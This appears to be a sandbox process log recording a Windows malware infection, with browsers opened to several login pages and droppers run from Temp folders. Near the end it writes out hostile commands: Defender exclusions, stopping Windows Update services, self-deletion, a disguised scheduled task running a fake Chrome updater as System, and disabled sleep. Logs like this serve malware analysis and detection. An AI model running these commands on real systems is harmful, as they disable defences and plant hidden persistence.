"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ffd674346f8,0x7ffd67434708,0x7ffd67434718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd674346f8,0x7ffd67434708,0x7ffd67434718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd674346f8,0x7ffd67434708,0x7ffd67434718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd674346f8,0x7ffd67434708,0x7ffd67434718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd674346f8,0x7ffd67434708,0x7ffd67434718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,16351992838140846058,13105798500977915422,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2160 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd674346f8,0x7ffd67434708,0x7ffd67434718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2128 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,16351992838140846058,13105798500977915422,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2816 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2056,11508102917830417632,7557281452560104967,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 /prefetch:3

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd674346f8,0x7ffd67434708,0x7ffd67434718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,4986202503356665844,13710527756843093012,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,11508102917830417632,7557281452560104967,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2068 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3252 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3952 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3584 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd674346f8,0x7ffd67434708,0x7ffd67434718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4268 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,16992113315226900295,1717302627978132359,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 /prefetch:3

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4464 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd674346f8,0x7ffd67434708,0x7ffd67434718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4832 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4820 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5180 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffd674346f8,0x7ffd67434708,0x7ffd67434718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5388 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2Ew6706.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2Ew6706.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6280 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6360 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6236 /prefetch:1

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7sY48ew.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\7sY48ew.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 6384 -ip 6384

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 6384 -s 540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6936 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6956 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\8px325Ko.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\8px325Ko.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7228 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4852 /prefetch:1

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\9aF0My0.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\9aF0My0.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7324 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7324 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6980 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\845E.exe

C:\Users\Admin\AppData\Local\Temp\845E.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3060 -ip 3060

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 784

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7496 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\B756.exe

C:\Users\Admin\AppData\Local\Temp\B756.exe

C:\Users\Admin\AppData\Local\Temp\BA64.exe

C:\Users\Admin\AppData\Local\Temp\BA64.exe

C:\Users\Admin\AppData\Local\Temp\BA64.exe

C:\Users\Admin\AppData\Local\Temp\BA64.exe

C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe

"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Users\Admin\AppData\Local\Temp\Broom.exe

C:\Users\Admin\AppData\Local\Temp\Broom.exe

C:\Users\Admin\AppData\Local\Temp\forc.exe

"C:\Users\Admin\AppData\Local\Temp\forc.exe"

C:\Users\Admin\AppData\Local\Temp\latestX.exe

"C:\Users\Admin\AppData\Local\Temp\latestX.exe"

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\forc.exe" & del "C:\ProgramData\*.dll"" & exit

C:\Windows\SysWOW64\timeout.exe

timeout /t 5

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,7704451383485095794,11794776172367103195,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8020 /prefetch:1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Users\Admin\AppData\Local\Temp\50AA.exe

C:\Users\Admin\AppData\Local\Temp\50AA.exe

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe"

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"

C:\Program Files\Google\Chrome\updater.exe

"C:\Program Files\Google\Chrome\updater.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

